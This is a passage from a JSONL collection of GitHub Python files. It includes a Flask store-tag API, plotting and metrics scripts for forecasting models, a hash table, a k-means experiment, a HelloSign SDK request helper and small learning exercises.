                 upsert=True)\n                log.info(\"Extracted geopackage for type: %s\" % doc_type)\n    except Exception as e:\n        log.error(str(e))\n        db.source.update_one({\"type\": doc_type}, {\n                             \"$set\": {\"status\": \"Failed extracting gpkg\"}}, upsert=True)\n        return\n","repo_name":"MinBZK/BROMonitor","sub_path":"app/etl/extract/source_processor.py","file_name":"source_processor.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20978401462","text":"from flask import jsonify\nfrom flask.views import MethodView\nfrom flask_jwt_extended import jwt_required\nfrom flask_smorest import Blueprint\nfrom flask_smorest import abort\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom stores.extensions.database import ProductModel\nfrom stores.extensions.database import StoreModel\nfrom stores.extensions.database import TagModel\nfrom stores.extensions.database import db\nfrom stores.extensions.schemas import TagSchema\n\n\nblp = Blueprint(\"tag\", __name__, description=\"Department tag operations\")\n\n\n@blp.route(\"/tag/<int:tag_id>\")\nclass Tags(MethodView):\n    \"\"\"Tags operations\"\"\"\n\n    @blp.response(200, TagSchema)\n    def get(self, tag_id):\n        \"\"\"Get tag by ID\"\"\"\n        tag = TagModel.query.get_or_404(tag_id, description=\"Tag id not found\")\n        return tag\n\n    # @blp.arguments(TagUpdateSchema)\n    @blp.response(200, TagSchema)\n    def put(self):\n        \"\"\"Update tag by ID\"\"\"\n        raise NotImplementedError\n\n    @jwt_required(fresh=True)\n    @blp.response(204, description=\"Deletes the tag if not linked to a product\")\n    @blp.alt_response(400, description=\"Abort if the tag is associated to a product\")\n    def delete(self, tag_id):\n        \"\"\"Delete tag by ID\"\"\"\n        tag = TagModel.query.get_or_404(tag_id, description=\"Tag id not found\")\n\n        if not tag.products:\n            db.session.delete(tag)\n            db.session.commit()\n        else:\n            abort(400, message=\"The given tag is associated to a product and could not be deleted\")\n\n\n@blp.route(\"/stores/<string:store_id>/tag\")\nclass StoreTags(MethodView):\n    \"\"\"Tags operations based on stores\"\"\"\n\n    @blp.response(200, TagSchema(many=True))\n    def get(self, store_id):\n        \"\"\"Get all department tags from the given store\"\"\"\n        store = StoreModel.query.get_or_404(store_id, description=\"Store id not found\")\n        return store.tags\n\n    @jwt_required()\n    @blp.arguments(TagSchema)\n    @blp.response(201, TagSchema)\n    def post(self, data, store_id):\n        \"\"\"Create a tag in a store\"\"\"\n        if TagModel.query.filter(\n            TagModel.store_id == store_id, TagModel.name == data[\"name\"]\n        ).first():\n            abort(400, message=\"Tag name already exists in that store\")\n\n        tag = TagModel(**data, store_id=store_id)\n\n        try:\n            db.session.add(tag)\n            db.session.commit()\n        except SQLAlchemyError as error:\n            abort(500, message=f\"Error {error} while inserting tag to Store {id}\")\n        return tag\n\n\n@blp.route(\"/products/<int:product_id>/tag/<int:tag_id>\")\nclass ProductTags(MethodView):\n    \"\"\"Products and tags link operations\"\"\"\n\n    @jwt_required()\n    @blp.arguments(TagSchema)\n    @blp.response(201, TagSchema)\n    def post(self, product_id, tag_id):\n        \"\"\"Link a department tag to a product\"\"\"\n        product = ProductModel.query.get_or_404(product_id, description=\"Product id not found\")\n        tag = TagModel.query.get_or_404(tag_id, description=\"Tag id not found\")\n\n        product.tags.append(tag)\n\n        try:\n            db.session.add(product)\n            db.session.commit()\n        except SQLAlchemyError as error:\n            abort(\n                500, message=f\"Error {error} while linking Tag {tag_id} and Product {product_id}\"\n            )\n\n        return tag\n\n    @jwt_required()\n    @blp.response(200)\n    def delete(self, product_id, tag_id):\n        \"\"\"Unlink a tag from a product\"\"\"\n        product = ProductModel.query.get_or_404(product_id, description=\"Product id not found\")\n        tag = TagModel.query.get_or_404(tag_id, description=\"Tag id not found\")\n\n        product.tags.remove(tag)\n\n        try:\n            db.session.add(product)\n            db.session.commit()\n        except SQLAlchemyError as error:\n            abort(\n                500, message=f\"Error {error} while linking Tag {tag_id} and Product {product_id}\"\n            )\n\n        return jsonify(message=\"Tag and product were unlinked\", product=product, tag=tag)\n","repo_name":"pferrariog/stores-api","sub_path":"stores/resources/departments.py","file_name":"departments.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33377510042","text":"import sys\nimport os\nsys.path.append(os.getcwd())\n\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom src.models.utils.logger import Logger\n\ntrainings = [\n\t(\"bc\", \"BC\"),\n\t(\"pg\", \"PG\"),\n\t(\"ppo\", \"PPO\"),\n\t(\"ppo_lstm\", \"PPO w/ LSTM\"),\n\t(\"ppo_attention\", \"PPO w/ AttentionNet\"),\n]\n\nprint(\"Alg\", \"Epochs\", \"Time\", \"Avg. Lifespan\", \"Max Lifespan\")\nfor training in trainings:\n\tlog_name = training[0]\n\tlog_title = training[1]\n\n\tlogs_path = os.path.join('logs', log_name, log_name + '0.log')\n\tif not os.path.exists(logs_path):\n\t\tprint(\"Log file '{0}' not found.\".format(logs_path))\n\t\tcontinue\n\ttraining_logs = Logger.read(logs_path)\n\n\ttraining_time = datetime.fromtimestamp(training_logs[-1]['timestamp']) - datetime.fromtimestamp(training_logs[0]['timestamp'])\n\tprint(log_title, len(training_logs), training_time, training_logs[-1]['custom_metrics']['avg_lifespan_mean'], training_logs[-1]['custom_metrics']['max_lifespan_mean'])\n\t\n\n\tavg_lifespans = [training_log['custom_metrics']['avg_lifespan_mean'] for training_log in training_logs]\n\tmax_lifespans = [training_log['custom_metrics']['max_lifespan_mean'] for training_log in training_logs]\n\tepochs = range(1,len(training_logs)+1)\n\tfig = plt.figure(dpi=1200)\n\tplt.plot(epochs, avg_lifespans, 'g', label='Avg. Lifespans')\n\tplt.plot(epochs, max_lifespans, 'b', label='Max Lifespans')\n\tplt.title(log_title + \" Lifespans over Training\")\n\tplt.xlabel('Epochs')\n\tplt.ylabel('Agent Iters Alive')\n\tplt.legend()\n\t# plt.show()\n\tplt.savefig(log_name + \"_fig.png\")\n\tplt.close(fig)\n","repo_name":"kmkilburg28/MultiAgentSurvival","sub_path":"src/models/utils/training_graph.py","file_name":"training_graph.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31780144965","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom delaunay import delaunay_triangulation\nimport obj as OBJ\nimport corner_table\n\nPATH = \"./OBJ/\"\n\ndef plot_tri(ax1, faces, vertex):\n    verts = []\n    idxs = []\n    for tri in faces:\n        tri_idxs = []\n        for v in tri:\n            v = tuple(v)\n            if v not in verts:\n                verts.append(v) \n            tri_idxs.append(verts.index(v))\n        idxs.append(tri_idxs)\n\n    verts = np.asarray(verts)\n    ax1.clear()\n    ax1.scatter(vertex[:,0], vertex[:,1], color='r')\n    ax1.triplot(verts[:,0], verts[:,1], triangles = idxs, color='k')\n    plt.pause(0.05)\n\ndef main ():\n    objs = OBJ.read_OBJ(PATH)\n    fig1, ax1 = plt.subplots()\n    ax1.set_aspect('equal')\n    ax1.set_title('triplot of Delaunay triangulation')\n    for obj in objs:\n        corners = corner_table.build_corner_table(obj)\n\n        delaunay = delaunay_triangulation(corners)\n\nif __name__ == '__main__':\n    main()","repo_name":"Gls-Facom/geracao_malhas","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"36061941623","text":"import random\n\ncoinList = []\nnumOfH = 0\nnumOfT = 0\n\nnumOfStreaks = 0\n\nfor x in range(10000):\n    if (random.randint(0, 1) == 0):\n        coinList.append(\"H\")\n    else:\n        coinList.append(\"T\")\n\nfor items in coinList:\n    if (numOfH == 6 or numOfT == 6):\n        numOfStreaks += 1\n        numOfH = 0\n        numOfT = 0\n\n    if items == \"H\":\n        numOfH += 1\n        numOfT = 0\n    else: \n        numOfT += 1\n        numOfH = 0\n\nprint(numOfStreaks)\n# print(coinList)","repo_name":"MohaimenH/AutomateTheBoringStuff-Projects","sub_path":"coinFlip.py","file_name":"coinFlip.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1708255713","text":"\"\"\"Test optimization results.\"\"\"\nfrom pathlib import Path\n\nimport pytest\n\nfrom sbmlsim.examples.experiments.midazolam.fitting_problems import op_mid1oh_iv\nfrom sbmlsim.fit.analysis import OptimizationResult\nfrom sbmlsim.fit.options import (\n    OptimizationAlgorithmType,\n    ResidualType,\n    WeightingCurvesType,\n    WeightingPointsType,\n)\nfrom sbmlsim.fit.runner import run_optimization\n\n\nfit_kwargs_default = {\n    \"residual\": ResidualType.ABSOLUTE,\n    \"weighting_curves\": [WeightingCurvesType.POINTS],\n    \"weighting_points\": WeightingPointsType.ERROR_WEIGHTING,\n    \"absolute_tolerance\": 1e-6,\n    \"relative_tolerance\": 1e-6,\n}\n\n\n@pytest.mark.skip(reason=\"no fit support\")\ndef test_serialization(tmp_path: Path) -> None:\n    \"\"\"Test serialization of optimization result.\"\"\"\n    opt_res: OptimizationResult = run_optimization(\n        problem=op_mid1oh_iv(),\n        algorithm=OptimizationAlgorithmType.LEAST_SQUARE,\n        size=1,\n        n_cores=1,\n        serial=True,\n        **fit_kwargs_default\n    )\n\n    opt_res_path = tmp_path / \"opt_res.json\"\n    opt_res.to_json(path=opt_res_path)\n    opt_res2 = OptimizationResult.from_json(json_info=opt_res_path)\n\n    assert opt_res.sid == opt_res2.sid\n    assert [p.pid for p in opt_res.parameters] == [p.pid for p in opt_res2.parameters]\n\n\n@pytest.mark.skip(reason=\"no fit support\")\ndef test_combine(tmp_path: Path) -> None:\n    \"\"\"Test combination of optimization result.\"\"\"\n    opt_results = []\n    for seed in [1234, 4567]:\n        opt_res: OptimizationResult = run_optimization(\n            problem=op_mid1oh_iv(),\n            algorithm=OptimizationAlgorithmType.LEAST_SQUARE,\n            size=1,\n            n_cores=1,\n            serial=True,\n            seed=seed,\n            **fit_kwargs_default\n        )\n        opt_results.append(opt_res)\n\n    opt_result = OptimizationResult.combine(opt_results)\n    assert len(opt_result.fits) == len(opt_results[0].fits) + len(opt_results[1].fits)\n","repo_name":"matthiaskoenig/sbmlsim","sub_path":"tests/fit/test_optimization_result.py","file_name":"test_optimization_result.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"18259857959","text":"import cv2\nimport numpy as np\nimport os\n\ndef random_centers(K, dim):\n    res = []\n    for k in range(0,K):\n        vec=[]\n        for i in range(0,dim):\n            vec.append(np.random.uniform(-1, 1))\n        res.append(vec)\n    return(res)\n\ndef cluster_points(X, mu):\n    clusters  = {}\n    for i in range(0, len(mu)):\n        clusters[i]=[]\n    for x in X:\n        bestmukey = min([(i[0], np.linalg.norm(x[1]-mu[i[0]])) \\\n                    for i in enumerate(mu)], key=lambda t:t[1])[0]\n        try:\n            clusters[bestmukey].append(x)\n        except KeyError:\n            clusters[bestmukey] = [x]\n    return clusters\n\n\ndef reevaluate_centers(mu, clusters):\n    newmu = []\n    keys = sorted(clusters.keys())\n    for k in keys:\n        newmu.append(vec_mean(clusters[k]))\n    return newmu\n\ndef vec_mean(cluster, dim = 64):\n    try:\n        sum=[]\n        for vector in cluster:\n            if(len(sum)==0):\n                sum = vector[1]\n            else:\n                for i in range(0, dim):\n                    sum[i]=sum[i]+ vector[1][i]\n        for i in range(0, dim):\n            sum[i] = sum[i]/len(cluster)\n    except IndexError:\n        for i in range(0, dim):\n            sum.append(0)\n    return(sum)\n\ndef has_converged(mu, oldmu):\n    return (set([tuple(a) for a in mu]) == set([tuple(a) for a in oldmu]))\n\ndef find_centers(X, K):\n    # Initialize to K random centers\n    dim = 64\n    oldmu = random_centers(K, dim)\n    mu = random_centers(K, dim)\n    while not has_converged(mu, oldmu):\n        oldmu = mu\n        # Assign all points in X to clusters\n        clusters = cluster_points(X, mu)\n        # Reevaluate centers\n        mu = reevaluate_centers(oldmu, clusters)\n    return(mu, clusters)\n\n\n\ntrainingset=[]\ndirection = \"/Users/Thomartin/mopsi/images/tour_eiffel\"\nsurf = cv2.xfeatures2d.SURF_create()\ntrainingset = []\nfor file in os.listdir(direction):\n    img = cv2.imread(direction+\"/\"+file)\n    gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n    (kps,descs) = surf.detectAndCompute(gray, None)\n    for j in range(0,len(descs)):\n        trainingset.append((kps[j],descs[j],direction+\"/\"+file))\n\nprint(type(trainingset[4][1].tolist()[1]))\ncen = random_centers(4, 64)\nclus = cluster_points(trainingset, cen)\n# print(reevaluate_centers(cen, clus ))\n# print(cen)\n# print(clus.keys())\nset\n\n","repo_name":"lailazouaki/mopsi","sub_path":"src/essai.py","file_name":"essai.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29879805259","text":"from importlib.util import set_loader\r\n\r\n\r\nclass BangBam:\r\n    def __init__(self, kich_thuoc = 10):\r\n        self.danh_sach = [None for _ in range(kich_thuoc)]\r\n    #def\r\n    \r\n    def __str__(self):\r\n        kq = '['\r\n        stt1 = 0\r\n        for x in self.danh_sach:\r\n            stt1 += 1\r\n            if stt1 != 1:\r\n                kq = kq + ', '\r\n            #if\r\n            if x is None:\r\n                kq = kq + '[None]'\r\n            else:\r\n                kq = kq + '['\r\n                stt2 = 0\r\n                for e in x:\r\n                    stt2 += 1\r\n                    if stt2 != 1:\r\n                        kq = kq + ', '\r\n                    #if\r\n                    kq = kq + str(e[0])+ ': ' + str(e[1])\r\n                #for\r\n                kq = kq + ']'\r\n            #if\r\n        kq = kq + ']'\r\n        return kq\r\n    #def\r\n    \r\n    def bam(self, khoa):\r\n        kich_thuoc = len(self.danh_sach)\r\n        return hash(khoa) % kich_thuoc\r\n    #def\r\n    \r\n    def them(self, khoa, gia_tri):\r\n        chi_muc = self.bam(khoa)\r\n        if self.danh_sach[chi_muc] is None:\r\n            #them moi\r\n            self.danh_sach[chi_muc] = list()\r\n            self.danh_sach[chi_muc].append([khoa, gia_tri])\r\n        else:\r\n            #cap nhat\r\n            cap_nhat = False\r\n            for x in self.danh_sach[chi_muc]:\r\n                if x[0] == khoa:\r\n                    x[1] = gia_tri\r\n                    cap_nhat = True\r\n                    break       \r\n                #if\r\n            #for\r\n            if cap_nhat == False:\r\n                self.danh_sach[chi_muc].append([khoa, gia_tri])\r\n            #if  \r\n        #if\r\n    #def\r\n    \r\n    def lay(self, khoa):\r\n        chi_muc = self.bam(khoa)\r\n        if self.danh_sach[chi_muc] is None:\r\n            return None\r\n        else:\r\n            for x in self.danh_sach[chi_muc]:\r\n                if x[0] == khoa:\r\n                    return x[1]\r\n                #if\r\n            #for\r\n        #if        \r\n    #def\r\n    \r\n    def __setitem__(self, khoa,gia_tri):\r\n        self.them(khoa, gia_tri)\r\n    #def\r\n    \r\n    def __getitem__(self, khoa):\r\n        return self.lay(khoa)\r\n    #def\r\n    \r\n#class\r\ndef main():\r\n    bang_bam = BangBam(5)\r\n    import random\r\n    for _ in range(18):\r\n        khoa = random.randint(0,10)\r\n        gia_tri = random.randint(0, 100)\r\n        print(f'* Them khoa = {khoa}, gia tri = {gia_tri}')\r\n        #bang_bam.them(khoa, gia_tri)\r\n        bang_bam[khoa] = gia_tri\r\n        print(bang_bam)\r\n        print()\r\n    #for\r\n    \r\n    khoa = int(input('Nhap vao mot khoa: '))\r\n    #gia_tri = bang_bam.lay(khoa)\r\n    gia_tri = bang_bam[khoa]\r\n    print(f'*Khoa {khoa} co gia tri la {gia_tri}')\r\n#def\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n#if","repo_name":"shirakamipc/hash-table","sub_path":"bangbam.py","file_name":"bangbam.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36915683147","text":"import os\nimport requests\nimport json\nfrom .exception import *\n\n\nclass HSRequest(object):\n    ''' Object to handle HTTP requests\n\n    Although we have greate requests package which can handle the HTTP request\n    beautifully, we need this class to fit better our need like sending the\n    requests with authentication information, download files, check HTTP\n    errors...\n\n    Attributes:\n        DEFAULT_ENCODING (str): Default encoding for requests\n        USER_AGENT (str): HTTP User agent used when sending requests\n        parameters (dict): Some parameters for GET requests\n        headers (dict): Custome headers for every requests\n        http_status_code (int): HTTP status code returned of requests\n\n    '''\n\n    DEFAULT_ENCODING = \"UTF-8\"\n    USER_AGENT = \"HelloSign Python SDK\"\n    \n    parameters = None\n    headers = { 'User-Agent': USER_AGENT }\n    http_status_code = 0\n    verify_ssl = True\n\n    def __init__(self, auth, env=\"production\"):\n        self.auth = auth\n        self.env = env\n        self.debug = (self.env != 'production')\n        self.verify_ssl = (not self.debug)\n\n    def _get_json_response(self, resp):\n        ''' Parse a JSON response '''\n        if resp is not None and resp.text is not None:\n            return json.loads(resp.text)\n\n    def get(self, url, headers=None, parameters=None, get_json=True):\n        ''' Send a GET request with custome headers and parameters\n\n        Args:\n            url (str): URL to send the request to\n            headers (str, optional): custom headers\n            parameters (str, optional): optional parameters\n\n        Returns:\n            A JSON object of the returned response if `get_json` is True,\n            Requests' response object otherwise\n\n        '''\n\n        if self.debug:\n            print(\"GET: %s, headers=%s\" % (url, headers))\n\n        get_headers = self.headers\n        get_parameters = self.parameters\n        if get_parameters is None:\n            # In case self.parameters is still empty\n            get_parameters = {}\n        if headers is not None:\n            get_headers.update(headers)\n        if parameters is not None:\n            get_parameters.update(parameters)\n\n        response = requests.get(url, headers=get_headers, params=get_parameters, auth=self.auth, verify=self.verify_ssl)\n        self.http_status_code = response.status_code\n        self._check_error(response)\n        if get_json is True:\n            return self._get_json_response(response)\n        return response\n\n    def get_file(self, url, filename, headers=None):\n        ''' Get a file from a url and save it as `filename`\n\n        Args:\n            url (str): URL to send the request to\n\n            filename (str): File name to save the file as, this can be either\n                a full path or a relative path\n\n            headers (str, optional): custom headers\n\n        Returns:\n            True if file is downloaded and written successfully, False\n            otherwise.\n\n        '''\n\n        if self.debug:\n            print(\"GET FILE: %s, headers=%s\" % (url, headers))\n\n        get_headers = self.headers\n        if headers is not None:\n            get_headers.update(headers)\n\n        response = requests.get(url, headers=get_headers, auth=self.auth, verify=self.verify_ssl)\n        \n        self.http_status_code = response.status_code\n        try:\n            self._check_error(response)\n            fd = os.open(filename, os.O_CREAT | os.O_RDWR)\n            with os.fdopen(fd, \"w+b\") as f:\n                f.write(response.content)\n        except:\n            return False\n        \n        return True\n\n    def post(self, url, data=None, files=None, headers=None, get_json=True):\n        ''' Make POST request to a url\n\n        Args:\n            url (str): URL to send the request to\n            data (dict, optional): Data to send\n            files (dict, optional): Files to send with the request\n            headers (str, optional): custom headers\n\n        Returns:\n            A JSON object of the returned response if `get_json` is True,\n            Requests' response object otherwise\n\n        '''\n\n        if self.debug:\n            print(\"POST: %s, headers=%s\" % (url, headers))\n\n        post_headers = self.headers\n        if headers is not None:\n            post_headers.update(headers)\n        response = requests.post(url, headers=post_headers, data=data, auth=self.auth, files=files, verify=self.verify_ssl)\n        self.http_status_code = response.status_code\n        self._check_error(response)\n        if get_json is True:\n            return self._get_json_response(response)\n        return response\n\n    # TODO: use a expected key in returned json, if the returned key does not match, return false...\n    def _check_error(self, response):\n        ''' Check for HTTP error code from the response, raise exception if there's any\n\n        Args:\n            response (object): Object returned by requests' `get` and `post`\n                methods\n\n        Raises:\n            HTTPError: If the status code of response is either 4xx or 5xx\n\n        Returns:\n            True if status code is not error code\n        \n        '''\n\n        # If status code is 4xx or 5xx, that should be an error\n        if response.status_code >= 400:\n            j = self._get_json_response(response)\n            err_cls = self._check_http_error_code(response.status_code)\n            # I intended to return False here but raising a meaningful exception\n            # may make senses more.\n            try:\n                raise err_cls(\"%s error: %s\" % (response.status_code, j[\"error\"][\"error_msg\"]), response.status_code)\n            # This is to catch error when we post get oath data\n            except TypeError:\n                raise err_cls(\"%s error: %s\" % (response.status_code, j[\"error_description\"]), response.status_code)\n        # Return True if everything looks OK\n        return True\n\n    def _check_http_error_code(self, code):\n        return {\n            400: BadRequest,\n            401: Unauthorized,\n            402: PaymentRequired,\n            403: Forbidden,\n            404: NotFound,\n            405: MethodNotAllowed,\n            406: NotAcceptable,\n            408: RequestTimeout,\n            409: Conflict,\n            410: Gone,\n            414: RequestURITooLong,\n            415: UnsupportedMediaType,\n            416: RequestedRangeNotSatisfiable,\n            500: InternalServerError,\n            501: MethodNotImplemented,\n            502: BadGateway,\n            503: ServiceUnavailable,\n            504: GatewayTimeout\n        }.get(code, HTTPError)\n","repo_name":"hagsteel/hellosign-python-sdk","sub_path":"hellosign_sdk/utils/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":6577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"37811443","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import mean_absolute_error\nimport matplotlib.pyplot as plt\npd.options.mode.chained_assignment = None\nfrom datetime import datetime\n\n\n# Load test data\ntest = np.load(\"test2020.npy\")\ntest = test.reshape(test.shape[0]*test.shape[1])\n\n# Load NN univariate o multivariate\npred_cnn = np.load(\"mmcnn.npy\")\npred_cnn = pred_cnn.reshape(pred_cnn.shape[0]*pred_cnn.shape[1])\n\npred_rnn = np.load(\"mmrnn.npy\")\npred_rnn = pred_rnn.reshape(pred_rnn.shape[0]*pred_rnn.shape[1])\n\npred_crnn = np.load(\"mmcnnandrnn.npy\")\npred_crnn = pred_crnn.reshape(pred_crnn.shape[0]*pred_crnn.shape[1])\n\n# Load ARIMA or TFM\npred_arima = pd.read_csv(\"ARIMA_FINAL.csv\")\npred_arima = pred_arima.to_numpy()\npred_arima = pred_arima.transpose()\npred_arima = pred_arima.reshape(pred_arima.shape[0]*pred_arima.shape[1],)\n\n\n\n#### CREATE DATABASE FOR TABLES\n\n#MAE\nmae_cnn = mean_absolute_error(test, pred_cnn)\nmae_rnn = mean_absolute_error(test, pred_rnn)\nmae_arima = mean_absolute_error(test, pred_arima)\nmae_crnn = mean_absolute_error(test, pred_crnn)\n\n\n#RMSE\ndef rmse(predictions):\n    rmse = np.sqrt(sum((test-predictions)**2)  / len(test))\n    return rmse\n\nrmse_cnn = rmse(pred_cnn)\nrmse_rnn = rmse(pred_rnn)\nrmse_arima = rmse(pred_arima)\nrmse_crnn = rmse(pred_crnn)\n\n#MAPE\ndef mape(predictions):\n    mape = np.mean(np.abs((test - predictions)/test))*100\n    return mape\n\nmape_cnn = mape(pred_cnn)\nmape_rnn = mape(pred_rnn)\nmape_arima = mape(pred_arima)\nmape_crnn = mape(pred_crnn)\n\n# Create dataframe\n\ndf_error=pd.DataFrame(data={\"RMSE\": [rmse_arima, rmse_cnn, rmse_rnn, rmse_crnn],\n                            \"MAE\": [mae_arima, mae_cnn, mae_rnn, mae_crnn],\n                            \"MAPE\": [mape_arima, mape_cnn, mape_rnn, mape_crnn]}, index = [\"ARIMA\", \"CNN\", \"RNN\", \"CNNandRNN\"])\n\n\n\n\n\n#### CREATE DATABASE FOR BARPLOTS\n\n# Database. Columns: Error, day, hour, month\ndef data_base(error):\n    df1=pd.read_csv(\"precios_14_20.txt\", sep=\",\", index_col=0)\n    df=df1[-8784:]\n    error = error.tolist()\n    df[\"error\"]=error\n    df=df.drop(\"price\", axis = 1)\n    index = df.index\n    day = list()\n    hour = list()\n    month = list()\n    for i in index:\n        day.append(i[0:10])\n        hour.append(i[11:13])\n        month.append(i[5:7])\n    day_dt = [datetime.strptime(x, '%Y-%m-%d') for x in day]\n    weekday = [x.weekday() for x in day_dt]\n    df[\"day\"] = weekday\n    df[\"hour\"] = hour\n    df[\"month\"] = month\n    return df\n\n\n# MSE for each of the hours\ndef mse_hours(predictions):\n    mse = (test- predictions)**2\n    return mse\n\nmse_hours_cnn =   mse_hours(pred_cnn)\nmse_hours_rnn =   mse_hours(pred_rnn)\nmse_hours_arima = mse_hours(pred_arima)\nmse_hours_crnn =  mse_hours(pred_crnn)\n\n\ndf_cnn = data_base(mse_hours_cnn)\ndf_rnn = data_base(mse_hours_rnn)\ndf_arima = data_base(mse_hours_arima)\ndf_crnn = data_base(mse_hours_crnn)\n\n\n# Group data by day, hour and month. Output: RMSE per day, hour and month\ndef group_data(df):\n    day_error=df.groupby([\"day\"])[\"error\"].mean()\n    hour_error=df.groupby([\"hour\"])[\"error\"].mean()\n    month_error=df.groupby([\"month\"])[\"error\"].mean()\n    day_error = day_error.tolist()\n    hour_error = hour_error.tolist()\n    month_error = month_error.tolist()\n    return np.sqrt(day_error), np.sqrt(hour_error), np.sqrt(month_error)\n\n\nday_cnn, hour_cnn, month_cnn = group_data(df_cnn)\nday_ARIMA, hour_ARIMA, month_ARIMA = group_data(df_arima)\nday_rnn, hour_rnn, month_rnn = group_data(df_rnn)\nday_crnn, hour_crnn, month_crnn = group_data(df_crnn)\n\n\n\n\n# Hours NEURAL NETWORKS\nx = np.arange(24)\nwidth = 0.20\nx_labels = [\"00\", \"01\", \"02\",\"03\", \"04\", \"05\", \"06\",\"07\", \"08\", \"09\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\n      \"20\",\"21\",\"22\",\"23\"]\n\nplt.bar(x -0.2, hour_cnn, width, color = \"SkyBlue\" , edgecolor=\"black\")\nplt.bar(x , hour_rnn, width, edgecolor=\"black\", color = \"IndianRed\")\nplt.bar(x + 0.2 , hour_crnn, width, edgecolor=\"black\", color = \"forestgreen\")\nplt.title(\"RMSE per hours\")\nplt.ylabel(\"RMSE\")\nplt.xticks(x, x_labels, rotation=0)\nplt.legend([\"CNN\", \"RNN\", \"CNN+RNN\"])\nplt.show()\n\n\n\n\n# Hours NN VS ARIMA\nx = np.arange(24)\nwidth = 0.40\nx_labels = [\"00\", \"01\", \"02\",\"03\", \"04\", \"05\", \"06\",\"07\", \"08\", \"09\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\n      \"20\",\"21\",\"22\",\"23\"]\n\nplt.bar(x - 0.2, hour_cnn, width, color = \"SkyBlue\" , edgecolor=\"black\")\nplt.bar(x + 0.2, hour_ARIMA, width, color = \"IndianRed\", edgecolor=\"black\")\nplt.title(\"RMSE per hours\")\nplt.ylabel(\"RMSE\")\nplt.xticks(x, x_labels, rotation=0)\nplt.legend([\"CNN\", \"ARIMA\"])\nplt.show()\n\n\n\n\n### Days\nx = np.arange(7)\nwidth = 0.40\nx_labels = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thrusday\", \"Friday\", \"Saturday\", \"Sunday\"]\n\nplt.bar(x - 0.2, day_cnn, width, color = \"SkyBlue\" , edgecolor=\"black\")\nplt.bar(x + 0.2, day_ARIMA, width, color = \"IndianRed\", edgecolor=\"black\")\nplt.title(\"RMSE per days\")\nplt.ylabel(\"RMSE\")\nplt.xticks(x, x_labels, rotation=45)\nplt.legend([\"CNN\", \"ARIMA\"])\nplt.show()\n\n\n\n\n### Months\nx = np.arange(12)\nwidth = 0.40\nx_labels = [\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\n            \"December\"]\nplt.bar(x - 0.2, month_cnn, width, color = \"SkyBlue\" , edgecolor=\"black\")\nplt.bar(x + 0.2, month_ARIMA, width, color = \"IndianRed\", edgecolor=\"black\")\nplt.title(\"RMSE per months\")\nplt.ylabel(\"RMSE\")\nplt.xticks(x, x_labels, rotation=45)\nplt.legend([\"CNN\", \"ARIMA\"])\nplt.show()\n\n\n","repo_name":"Adricarpin/TFG","sub_path":"METRICS.py","file_name":"METRICS.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30527005813","text":"\"\"\"\nFaça uma lista de comprar com listas\nO usuário deve ter a possibilidade de\ninserir, apagar e listar valores da sua lista\nNão permita que o programa quebre com \nerros de índices inexistentes na lista.\n\"\"\"\nimport os\n\nlista = []\n\nwhile True:\n    print('Selecione uma opção')\n    opcao = input('[i]nserir [a]pagar [l]istar: ')\n\n    if opcao == 'i':\n        os.system('clear')\n        valor = input('Valor: ')\n        lista.append(valor)\n    elif opcao == 'a':\n        indice_str = input(\n            'Escolha o índice para apagar: '\n        )\n\n        try:\n            indice = int(indice_str)\n            del lista[indice]\n        except ValueError:\n            print('Por favor digite número int.')\n        except IndexError:\n            print('Índice não existe na lista')\n        except Exception:\n            print('Erro desconhecido')\n    elif opcao == 'l':\n        os.system('clear')\n\n        if len(lista) == 0:\n            print('Nada para listar')\n\n        for i, valor in enumerate(lista):\n            print(i, valor)\n    else:\n        print('Por favor, escolha i, a ou l.')\n","repo_name":"luizomf/cursopython2023","sub_path":"aula54.py","file_name":"aula54.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"pt","doc_type":"code","stars":212,"dataset":"github-code","pt":"35"}
